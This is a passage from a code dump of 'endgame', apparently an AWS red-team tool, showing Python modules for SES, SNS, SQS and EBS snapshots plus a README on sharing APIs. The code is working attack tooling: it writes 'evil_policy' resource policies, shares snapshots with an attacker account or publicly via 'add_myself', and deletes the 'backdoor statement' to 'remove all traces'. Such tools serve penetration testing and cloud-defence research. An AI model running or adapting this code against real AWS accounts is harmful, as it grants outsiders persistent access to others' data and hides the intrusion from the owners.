https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ses.html#SES.Client.get_identity_policies\n            policy_names = response.get(\"PolicyNames\")\n        except botocore.exceptions.ClientError:\n            policy_names = []\n        return policy_names\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        # If you do not know the names of the policies that are attached to the identity, you can use ListIdentityPolicies\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        # When there is no policy, let's return an empty policy to avoid breaking things\n        policy = constants.get_empty_policy()\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ses.html#SES.Client.list_identity_policies\n            response = self.client.list_identity_policies(Identity=self.name)\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ses.html#SES.Client.get_identity_policies\n            policy_names = response.get(\"PolicyNames\")\n            if policy_names:\n                response = self.client.get_identity_policies(Identity=self.name, PolicyNames=policy_names)\n                policies = response.get(\"Policies\")\n                if constants.SID_SIGNATURE in policies:\n                    policy = json.loads(policies.get(constants.SID_SIGNATURE))\n                success = True\n            else:\n                policy = constants.get_empty_policy()\n                success = True\n        except botocore.exceptions.ClientError:\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy = json.dumps(evil_policy)\n        try:\n            self.client.put_identity_policy(Identity=self.arn, PolicyName=constants.SID_SIGNATURE, Policy=new_policy)\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ses.html#SES.Client.put_identity_policy\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=evil_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        \"\"\"Wraps client.delete_identity_policy\"\"\"\n        logger.debug(f\"Removing {evil_principal} from {self.arn}\")\n        new_policy = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ses.html#SES.Client.delete_identity_policy\n        operation = \"UNDO\"\n        # Update the list of identity policies\n        success = True\n        if constants.SID_SIGNATURE in self._identity_policy_names():\n            if not dry_run:\n                try:\n                    self.client.delete_identity_policy(\n                        Identity=self.name,\n                        PolicyName=constants.SID_SIGNATURE\n                    )\n                    message = f\"200: Removed identity policy called {constants.SID_SIGNATURE} for identity {self.name}\"\n                    success = True\n                except botocore.exceptions.ClientError as error:\n                    success = False\n                    message = error\n                    logger.critical(f\"Operation was not successful for {self.service} {self.resource_type} \"\n                                    f\"{self.name}. %s\" % error)\n            else:\n                message = f\"202: Dry run: will remove identity policy called {constants.SID_SIGNATURE} for identity {self.name}\"\n        else:\n            message = f\"404: There is no policy titled {constants.SID_SIGNATURE} attached to {self.name}\"\n        response_message = ResponseMessage(message=message, operation=operation, success=success, evil_principal=evil_principal,\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=new_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n\nclass SesIdentityPolicies(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"ses\"\n        self.resource_type = \"identity\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator(\"list_identities\")\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            these_resources = page[\"Identities\"]\n            for resource in these_resources:\n                arn = f\"arn:aws:ses:{self.region}:{self.current_account_id}:identity/{resource}\"\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=resource)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/sns.py",
    "content": "import json\nimport logging\nfrom abc import ABC\nimport boto3\nimport botocore\nfrom botocore.exceptions import ClientError\nfrom policy_sentry.util.arns import get_resource_string\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.utils import get_sid_names_with_error_handling\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n# Valid SNS policy actions\n# https://docs.aws.amazon.com/sns/latest/dg/sns-access-policy-language-api-permissions-reference.html#sns-valid-policy-actions\nvalid_sns_policy_actions = [\n    \"sns:AddPermission\",\n    \"sns:DeleteTopic\",\n    \"sns:GetTopicAttributes\",\n    \"sns:ListSubscriptionsByTopic\",\n    \"sns:Publish\",\n    \"sns:Receive\",\n    \"sns:RemovePermission\",\n    \"sns:SetTopicAttributes\",\n    \"sns:Subscribe\",\n]\nvalid_sns_policy_actions_str = \",\".join(valid_sns_policy_actions)\n\n\nclass SnsTopic(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.name = name\n        self.service = \"sns\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.resource_type = \"topic\"\n        self.override_account_id_instead_of_principal = True\n        self.override_action = \",\".join(valid_sns_policy_actions)\n        self.override_resource_block = self.arn\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id,\n                         override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n                         override_action=self.override_action, override_resource_block=self.override_resource_block)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.name}\"\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        # When there is no policy, let's return an empty policy to avoid breaking things\n        policy = constants.get_empty_policy()\n        try:\n            response = self.client.get_topic_attributes(TopicArn=self.arn)\n            attributes = response.get(\"Attributes\")\n            if attributes.get(\"Policy\"):\n                policy = constants.get_empty_policy()\n                policy[\"Statement\"].extend(json.loads(attributes.get(\"Policy\")).get(\"Statement\"))\n            else:\n                policy = constants.get_empty_policy()\n            success = True\n        except self.client.exceptions.ResourceNotFoundException as error:\n            logger.critical(error)\n            success = False\n        except botocore.exceptions.ClientError as error:\n            logger.critical(error)\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy_document = PolicyDocument(\n            policy=evil_policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        new_policy_json = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n        current_sids = get_sid_names_with_error_handling(self.original_policy)\n        try:\n            for statement in new_policy_document.statements:\n                if statement.sid not in current_sids:\n                    self.client.add_permission(\n                        TopicArn=self.arn,\n                        Label=statement.sid,\n                        ActionName=self.sns_actions_without_prefixes(statement.actions),\n                        AWSAccountId=statement.aws_principals,\n                    )\n                new_policy_json[\"Statement\"].append(json.loads(statement.__str__()))\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n            logger.critical(f\"Operation was not successful for {self.service} {self.resource_type} \"\n                            f\"{self.name}. %s\" % error)\n        get_rbp_response = self._get_rbp()\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=get_rbp_response.policy_document.json, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        \"\"\"Wraps client.remove_permission\"\"\"\n        logger.debug(f\"Removing {evil_principal} from {self.arn}\")\n        new_policy = constants.get_empty_policy()\n        operation = \"UNDO\"\n        message = \"404: No backdoor statement found\"\n        try:\n            for statement in self.policy_document.statements:\n                if statement.sid == constants.SID_SIGNATURE:\n                    if not dry_run:\n                        response = self.client.remove_permission(\n                            TopicArn=self.arn,\n                            Label=statement.sid,\n                        )\n                else:\n                    new_policy[\"Statement\"].append(json.loads(statement.__str__()))\n            success = True\n        except botocore.exceptions.ClientError as error:\n            success = False\n            logger.critical(f\"Operation was not successful for {self.service} {self.resource_type} \"\n                            f\"{self.name}. %s\" % error)\n        response_message = ResponseMessage(message=message, operation=operation, success=success, evil_principal=evil_principal,\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=new_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n    def sns_actions_without_prefixes(self, actions_with_service_prefix):\n        # SNS boto3 client requires that you provide Publish instead of sns:Publish\n        updated_actions = []\n\n        if isinstance(actions_with_service_prefix, list):\n            actions = actions_with_service_prefix\n        else:\n            actions = [actions_with_service_prefix]\n        for action in actions:\n            if \":\" in action:\n                temp_action = action.split(\":\")[1]\n                if temp_action == \"*\":\n                    updated_actions.extend(valid_sns_policy_actions)\n                else:\n                    updated_actions.append(temp_action)\n            else:\n                updated_actions.append(action)\n\n        return updated_actions\n\n\nclass SnsTopics(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"sns\"\n        self.resource_type = \"topic\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        these_resources = []\n\n        paginator = self.client.get_paginator('list_topics')\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            resources = page[\"Topics\"]\n            for resource in resources:\n                arn = resource.get(\"TopicArn\")\n                name = get_resource_string(arn)\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=name)\n                these_resources.append(list_resources_response)\n        return these_resources\n"
  },
  {
    "path": "endgame/exposure_via_resource_policies/sqs.py",
    "content": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom policy_sentry.util.arns import get_account_from_arn\nfrom endgame.shared import constants\nfrom endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes\nfrom endgame.shared.policy_document import PolicyDocument\nfrom endgame.shared.utils import get_sid_names_with_error_handling\nfrom endgame.shared.response_message import ResponseMessage\nfrom endgame.shared.list_resources_response import ListResourcesResponse\nfrom endgame.shared.response_message import ResponseGetRbp\n\nlogger = logging.getLogger(__name__)\n\n\nclass SqsQueue(ResourceType, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"sqs\"\n        self.resource_type = \"queue\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        self.override_account_id_instead_of_principal = True\n        self.override_resource_block = self.arn\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id,\n                         # override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n                         override_resource_block=self.override_resource_block)\n        self.queue_url = self._queue_url()\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.name}\"\n\n    def _queue_url(self) -> str:\n        response = self.client.get_queue_url(\n            QueueName=self.name,\n            QueueOwnerAWSAccountId=self.current_account_id\n        )\n        return response.get(\"QueueUrl\")\n\n    def _get_rbp(self) -> ResponseGetRbp:\n        \"\"\"Get the resource based policy for this resource and store it\"\"\"\n        logger.debug(\"Getting resource policy for %s\" % self.arn)\n        queue_url = self._queue_url()\n        policy = constants.get_empty_policy()\n        try:\n            response = self.client.get_queue_attributes(QueueUrl=queue_url, AttributeNames=[\"All\"])\n            # response = self.client.get_queue_attributes(QueueUrl=queue_url, AttributeNames=[\"Policy\"])\n            attributes = response.get(\"Attributes\")\n            if attributes.get(\"Policy\"):\n                policy = constants.get_empty_policy()\n                policy[\"Statement\"].extend(json.loads(attributes.get(\"Policy\")).get(\"Statement\"))\n            success = True\n        except botocore.exceptions.ClientError as error:\n            # When there is no policy, let's return an empty policy to avoid breaking things\n            logger.critical(error)\n            success = False\n        policy_document = PolicyDocument(\n            policy=policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        response = ResponseGetRbp(policy_document=policy_document, success=success)\n        return response\n\n    def set_rbp(self, evil_policy: dict) -> ResponseMessage:\n        logger.debug(\"Setting resource policy for %s\" % self.arn)\n        new_policy_document = PolicyDocument(\n            policy=evil_policy,\n            service=self.service,\n            override_action=self.override_action,\n            include_resource_block=self.include_resource_block,\n            override_resource_block=self.override_resource_block,\n            override_account_id_instead_of_principal=self.override_account_id_instead_of_principal,\n        )\n        new_policy_json = {\n            \"Version\": \"2012-10-17\",\n            \"Statement\": []\n        }\n        current_sids = get_sid_names_with_error_handling(self.original_policy)\n        try:\n            for statement in new_policy_document.statements:\n                if statement.sid not in current_sids:\n                    account_ids = []\n                    for principal in statement.aws_principals:\n                        if \":\" in principal:\n                            account_ids.append(get_account_from_arn(principal))\n                    self.client.add_permission(\n                        QueueUrl=self.queue_url,\n                        Label=statement.sid,\n                        AWSAccountIds=account_ids,\n                        Actions=self.sqs_actions_without_prefixes(statement.actions)\n                    )\n                else:\n                    new_policy_json[\"Statement\"].append(json.loads(statement.__str__()))\n            message = \"success\"\n            success = True\n        except botocore.exceptions.ClientError as error:\n            message = str(error)\n            success = False\n        get_rbp_response = self._get_rbp()\n        response_message = ResponseMessage(message=message, operation=\"set_rbp\", success=success, evil_principal=\"\",\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=get_rbp_response.policy_document.json, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service)\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseMessage:\n        \"\"\"Wraps client.remove_permission\"\"\"\n        logger.debug(f\"Removing {evil_principal} from {self.arn}\")\n        new_policy = constants.get_empty_policy()\n        operation = \"UNDO\"\n        message = \"404: No backdoor statement found\"\n        success = False\n        for statement in self.policy_document.statements:\n            if statement.sid == constants.SID_SIGNATURE:\n                if not dry_run:\n                    # TODO: Error handling for setting policy\n                    self.client.remove_permission(\n                        QueueUrl=self.queue_url,\n                        Label=statement.sid,\n                    )\n                    message = f\"200: Removed backdoor statement from the resource policy attached to {self.arn}\"\n                    success = True\n                    break\n            else:\n                new_policy[\"Statement\"].append(json.loads(statement.__str__()))\n        response_message = ResponseMessage(message=message, operation=operation, evil_principal=evil_principal,\n                                           victim_resource_arn=self.arn, original_policy=self.original_policy,\n                                           updated_policy=new_policy, resource_type=self.resource_type,\n                                           resource_name=self.name, service=self.service, success=success)\n        return response_message\n\n    def sqs_actions_without_prefixes(self, actions_with_service_prefix):\n        # SQS boto3 client requires that you provide SendMessage instead of sqs:SendMessage\n        updated_actions = []\n\n        if isinstance(actions_with_service_prefix, list):\n            actions = actions_with_service_prefix\n        else:\n            actions = [actions_with_service_prefix]\n        for action in actions:\n            if \":\" in action:\n                temp_action = action.split(\":\")[1]\n                if temp_action == \"*\":\n                    updated_actions.extend(\"*\")\n                else:\n                    updated_actions.append(temp_action)\n            else:\n                updated_actions.append(action)\n        return updated_actions\n\n\nclass SqsQueues(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"sqs\"\n        self.resource_type = \"queue\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n\n        paginator = self.client.get_paginator(\"list_queues\")\n        page_iterator = paginator.paginate()\n        for page in page_iterator:\n            these_resources = page.get(\"QueueUrls\")\n            if these_resources:\n                for resource in these_resources:\n                    # queue URL takes the format:\n                    # \"https://{REGION_ENDPOINT}/queue.|api-domain|/{YOUR_ACCOUNT_NUMBER}/{YOUR_QUEUE_NAME}\"\n                    # Let's split it according to /, and the name is the last item on the list\n                    queue_url = resource\n                    name = queue_url.split(\"/\")[-1]\n                    arn = f\"arn:aws:sqs:{self.region}:{self.current_account_id}:{name}\"\n                    list_resources_response = ListResourcesResponse(\n                        service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                        resource_type=self.resource_type, name=name, note=queue_url)\n                    resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_sharing_apis/README.md",
    "content": "# Resource that can be made public through sharing APIs\n\n\n## Support Status\n\n### AMI\nActions:\n- ec2 [modify-image-attribute](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-image-attribute.html)\n\n### EBS snapshot\nActions:\n- ec2 [modify-snapshot-attribute](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-snapshot-attribute.html)\n  - [moto modify_snapshot_attribute](https://github.com/spulec/moto/blob/master/moto/ec2/responses/elastic_block_store.py#L129)\n  - [moto describe_snapshot_attribute](https://github.com/spulec/moto/blob/master/moto/ec2/responses/elastic_block_store.py#L122)\n\n### RDS snapshot\nActions:\n- rds [modify-db-snapshot](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/modify-db-snapshot.html)\n  - [CLI to share a snapshot](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ShareSnapshot.html#USER_ShareSnapshot.Sharing)\n\n\n## Not supported (yet)\n\n### FPGA image\nActions:\n- ec2 [modify-fpga-image-attribute](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-fpga-image-attribute.html)\n\n### RDS DB Cluster snapshot\nActions:\n- rds [modify-db-cluster-snapshot-attribute](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/modify-db-cluster-snapshot-attribute.html)"
  },
  {
    "path": "endgame/exposure_via_sharing_apis/__init__.py",
    "content": ""
  },
  {
    "path": "endgame/exposure_via_sharing_apis/common.py",
    "content": "import copy\nfrom abc import ABCMeta, abstractmethod\nimport boto3\nimport botocore\nfrom botocore.exceptions import ClientError\n\n\nclass ResponseGetSharingApi:\n    def __init__(\n            self,\n            shared_with_accounts: list,\n            success: bool,\n            resource_type: str,\n            resource_name: str,\n            service: str,\n            updated_policy: list,  # we can format this however we want even though there are no RBPs\n            original_policy: list,  # we can format this however we want even though there are no RBPs\n            evil_principal: str,\n            victim_resource_arn: str\n    ):\n        self.shared_with_accounts = shared_with_accounts\n        self.success = success\n        self.evil_principal = evil_principal\n        self.victim_resource_arn = victim_resource_arn\n        self.resource_type = resource_type\n        self.resource_name = resource_name\n        self.service = service\n        self.original_policy = original_policy\n        self.updated_policy = updated_policy\n\n    # This is kind of silly because this is just a list of account IDs, but I am going to piggyback off of the previous\n    # structure out of convenience\n    # TODO: Figure out a better way to do this. Mostly because I am doing the RDS and EBS sharing last minute\n    @property\n    def updated_policy_sids(self) -> list:\n        return self.updated_policy\n\n    @property\n    def original_policy_sids(self) -> list:\n        return self.original_policy\n\n    @property\n    def added_sids(self) -> list:\n        diff = []\n        if len(self.updated_policy_sids) > len(self.original_policy_sids):\n            diff = list(set(self.updated_policy_sids) - set(self.original_policy_sids))\n        return diff\n\n    @property\n    def removed_sids(self) -> list:\n        diff = []\n        if len(self.original_policy_sids) > len(self.updated_policy_sids):\n            diff = list(set(self.original_policy_sids) - set(self.updated_policy_sids))\n        return diff\n\n\nclass ResourceSharingApi(object):\n    __meta_class__ = ABCMeta\n\n    def __init__(\n            self,\n            name: str,\n            resource_type: str,\n            service: str,\n            region: str,\n            client: boto3.Session.client,\n            current_account_id: str,\n    ):\n        self.name = name\n        self.resource_type = resource_type\n        self.client = client\n        self.current_account_id = current_account_id\n        self.service = service\n        self.region = region\n        self.shared_with_accounts = self._get_shared_with_accounts().shared_with_accounts\n        self.original_shared_with_accounts = copy.deepcopy(self.shared_with_accounts)\n\n    @property\n    @abstractmethod\n    def arn(self) -> str:\n        raise NotImplementedError(\"Must override arn\")\n\n    @abstractmethod\n    def _get_shared_with_accounts(self) -> ResponseGetSharingApi:\n        raise NotImplementedError(\"Must override _get_shared_with_accounts\")\n\n    @abstractmethod\n    def share(self, accounts_to_add: list, accounts_to_remove: list) -> ResponseGetSharingApi:\n        raise NotImplementedError(\"Must override share\")\n\n    @abstractmethod\n    def add_myself(self, evil_policy: dict) -> ResponseGetSharingApi:\n        raise NotImplementedError(\"Must override add_myself\")\n\n    @abstractmethod\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseGetSharingApi:\n        raise NotImplementedError(\"Must override undo\")\n"
  },
  {
    "path": "endgame/exposure_via_sharing_apis/ebs_snapshots.py",
    "content": "import logging\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom policy_sentry.util.arns import get_resource_path_from_arn, get_account_from_arn\nfrom endgame.exposure_via_resource_policies.common import ResourceTypes\nfrom endgame.exposure_via_sharing_apis.common import ResourceSharingApi, ResponseGetSharingApi\nfrom endgame.shared.list_resources_response import ListResourcesResponse\n\nlogger = logging.getLogger(__name__)\n\n\nclass EbsSnapshot(ResourceSharingApi, ABC):\n    def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str):\n        self.service = \"ebs\"\n        self.resource_type = \"snapshot\"\n        self.region = region\n        self.current_account_id = current_account_id\n        self.name = name\n        super().__init__(name, self.resource_type, self.service, region, client, current_account_id)\n\n    @property\n    def arn(self) -> str:\n        return f\"arn:aws:ec2:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}\"\n\n    def _get_shared_with_accounts(self) -> ResponseGetSharingApi:\n        logger.debug(\"Getting snapshot status policy for %s\" % self.arn)\n        shared_with_accounts = []\n        try:\n            # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.Client.describe_snapshot_attribute\n            response = self.client.describe_snapshot_attribute(\n                Attribute=\"createVolumePermission\",\n                SnapshotId=self.name,\n            )\n            attributes = response.get(\"CreateVolumePermissions\")\n            for attribute in attributes:\n                if attribute.get(\"Group\"):\n                    if attribute.get(\"Group\") == \"all\":\n                        shared_with_accounts.append(\"all\")\n                if attribute.get(\"UserId\"):\n                    shared_with_accounts.append(attribute.get(\"UserId\"))\n            success = True\n        except botocore.exceptions.ClientError as error:\n            logger.debug(error)\n            success = False\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=\"\", victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=shared_with_accounts,\n                                                 updated_policy=[]\n                                                 )\n        return response_message\n\n    def share(self, accounts_to_add: list, accounts_to_remove: list) -> ResponseGetSharingApi:\n        shared_with_accounts = []\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.Client.modify_snapshot_attribute\n        try:\n            if accounts_to_add:\n                logger.debug(f\"Sharing the snapshot {self.name} with the accounts {', '.join(accounts_to_add)}\")\n                if \"all\" in accounts_to_add:\n                    self.client.modify_snapshot_attribute(\n                        Attribute=\"createVolumePermission\",\n                        SnapshotId=self.name,\n                        GroupNames=[\"all\"],\n                        OperationType=\"add\",\n                    )\n                else:\n                    self.client.modify_snapshot_attribute(\n                        Attribute=\"createVolumePermission\",\n                        SnapshotId=self.name,\n                        UserIds=accounts_to_add,\n                        OperationType=\"add\",\n                    )\n            if accounts_to_remove:\n                logger.debug(f\"Removing access to the snapshot {self.name} from the accounts {', '.join(accounts_to_add)}\")\n                if \"all\" in accounts_to_remove:\n                    self.client.modify_snapshot_attribute(\n                        Attribute=\"createVolumePermission\",\n                        SnapshotId=self.name,\n                        GroupNames=[\"all\"],\n                        OperationType=\"remove\",\n                    )\n                else:\n                    self.client.modify_snapshot_attribute(\n                        Attribute=\"createVolumePermission\",\n                        SnapshotId=self.name,\n                        UserIds=accounts_to_remove,\n                        OperationType=\"remove\",\n                    )\n            shared_with_accounts = self._get_shared_with_accounts().shared_with_accounts\n            success = True\n        except botocore.exceptions.ClientError:\n            success = False\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=\"\", victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=self.original_shared_with_accounts,\n                                                 updated_policy=self.original_shared_with_accounts\n                                                 )\n        return response_message\n\n    def add_myself(self, evil_principal: str, dry_run: bool = False) -> ResponseGetSharingApi:\n        \"\"\"Add your rogue principal to the AWS resource\"\"\"\n        evil_account_id = self.parse_evil_principal(evil_principal=evil_principal)\n        logger.debug(f\"Sharing {self.arn} with {evil_account_id}\")\n        shared_with_accounts = []\n        if not dry_run:\n            accounts_to_add = [evil_account_id]\n            share_response = self.share(accounts_to_add=accounts_to_add, accounts_to_remove=[])\n            shared_with_accounts = share_response.shared_with_accounts\n            success = share_response.success\n        else:\n            try:\n                # this is just to get the success message\n                tmp = self._get_shared_with_accounts()\n                success = tmp.success\n                shared_with_accounts = tmp.shared_with_accounts\n                shared_with_accounts.append(evil_account_id)\n            except botocore.exceptions.ClientError as error:\n                logger.debug(error)\n                success = False\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=self.original_shared_with_accounts,\n                                                 updated_policy=shared_with_accounts\n                                                 )\n        return response_message\n\n    def undo(self, evil_principal: str, dry_run: bool = False) -> ResponseGetSharingApi:\n        \"\"\"Remove all traces\"\"\"\n        evil_account_id = self.parse_evil_principal(evil_principal=evil_principal)\n        logger.debug(f\"Removing {evil_account_id} access to {self.arn}\")\n        shared_with_accounts = []\n        if not dry_run:\n            accounts_to_remove = [evil_account_id]\n            share_response = self.share(accounts_to_add=[], accounts_to_remove=accounts_to_remove)\n            shared_with_accounts = share_response.shared_with_accounts\n            success = share_response.success\n        else:\n            shared_with_accounts = self.shared_with_accounts\n            if evil_account_id in shared_with_accounts:\n                shared_with_accounts.remove(evil_account_id)\n            success = True\n        response_message = ResponseGetSharingApi(shared_with_accounts=shared_with_accounts, success=success,\n                                                 evil_principal=evil_principal, victim_resource_arn=self.arn,\n                                                 resource_name=self.name, resource_type=self.resource_type,\n                                                 service=self.service,\n                                                 original_policy=self.original_shared_with_accounts,\n                                                 updated_policy=shared_with_accounts\n                                                 )\n        return response_message\n\n    def parse_evil_principal(self, evil_principal: str) -> str:\n        if \":\" in evil_principal:\n            evil_account_id = get_account_from_arn(evil_principal)\n        # RDS requires publicly shared snapshots to be supplied via the value \"all\"\n        elif evil_principal == \"*\":\n            evil_account_id = \"all\"\n        # Otherwise, the evil_principal is an account ID\n        else:\n            evil_account_id = evil_principal\n        return evil_account_id\n\n\nclass EbsSnapshots(ResourceTypes):\n    def __init__(self, client: boto3.Session.client, current_account_id: str, region: str):\n        super().__init__(client, current_account_id, region)\n        self.service = \"ebs\"\n        self.resource_type = \"snapshot\"\n\n    @property\n    def resources(self) -> [ListResourcesResponse]:\n        \"\"\"Get a list of these resources\"\"\"\n        resources = []\n        # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.Paginator.DescribeSnapshots\n        paginator = self.client.get_paginator(\"describe_snapshots\")\n        # Apply a filter, otherwise we get public EBS snapshots too, from randos on the internet.\n        page_iterator = paginator.paginate(Filters=[\n            {\n                \"Name\": \"owner-id\",\n                \"Values\": [self.current_account_id]\n            }\n        ])\n        for page in page_iterator:\n            these_resources = page[\"Snapshots\"]\n            for resource in these_resources:\n                snapshot_id = resource.get(\"SnapshotId\")\n                kms_key_id = resource.get(\"KmsKeyId\")\n                volume_id = resource.get(\"VolumeId\")\n                arn = f\"arn:aws:ec2:{self.region}:{self.current_account_id}:snapshot/{snapshot_id}\"\n                list_resources_response = ListResourcesResponse(\n                    service=self.service, account_id=self.current_account_id, arn=arn, region=self.region,\n                    resource_type=self.resource_type, name=snapshot_id)\n                resources.append(list_resources_response)\n        return resources\n"
  },
  {
    "path": "endgame/exposure_via_sharing_apis/ec2_amis.py",
